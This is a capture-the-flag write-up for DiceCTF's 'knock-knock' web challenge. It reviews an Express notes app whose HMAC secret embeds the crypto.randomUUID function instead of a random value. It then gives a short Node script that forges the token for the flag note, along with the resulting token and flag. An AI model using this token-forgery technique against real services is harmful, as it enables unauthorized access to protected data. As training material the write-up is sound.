DiceCTF - knock-knock [Web]

Code Review | index.js

const crypto = require('crypto');

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

  getNote({ id, token }) {
    if (token !== this.generateToken(id)) return { error: 'invalid token' };
    if (id >= this.notes.length) return { error: 'note not found' };
    return { data: this.notes[id] };
  }

  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
}

const db = new Database();
db.createNote({ data: process.env.FLAG });

const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));

app.post('/create', (req, res) => {
  const data = req.body.data ?? 'no data provided.';
  const { id, token } = db.createNote({ data: data.toString() });
  res.redirect(`/note?id=${id}&token=${token}`);
});

app.get('/note', (req, res) => {
  const { id, token } = req.query;
  const note = db.getNote({
    id: parseInt(id ?? '-1'),
    token: (token ?? '').toString(),
  });
  if (note.error) {
    res.send(note.error);
  } else {
    res.send(note.data);
  }
});

app.listen(3000, () => {
  console.log('listening on port 3000');
});

Let's take it from beginning

Where flag is stored?

const db = new Database();
db.createNote({ data: process.env.FLAG });

When the server starts a new Database object is created and also a note which contains the flag. The flag is stored at notes[0] because this.notes = []; is an empty array consequently the flag will be stored at notes[0].

Explain Constructor & createNote

constructor() {
    this.notes = []; 
    this.secret = `secret-${crypto.randomUUID}`;
  }

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

At constructor we have an array notes and a secret key. At secret variable the secret key starts with secret- but the problem is ${crypto.randomUUID}. The UUID part does not use a random uuid as the secret but the function itself i.e. the secret value is known.

Final Exploit

const crypto = require('crypto');

function generateToken(id,secret) { 
    return crypto
      .createHmac('sha256', secret) 
      .update(id.toString()) 
      .digest('hex'); 
  }

var id = 0; // Flag id
var secret = `secret-${crypto.randomUUID}`;

console.log(secret);
console.log(generateToken(id,secret));

Now, run the nodejs script

Finally use the token 7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264 to grab the flag dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}.

Contributors: jimman2003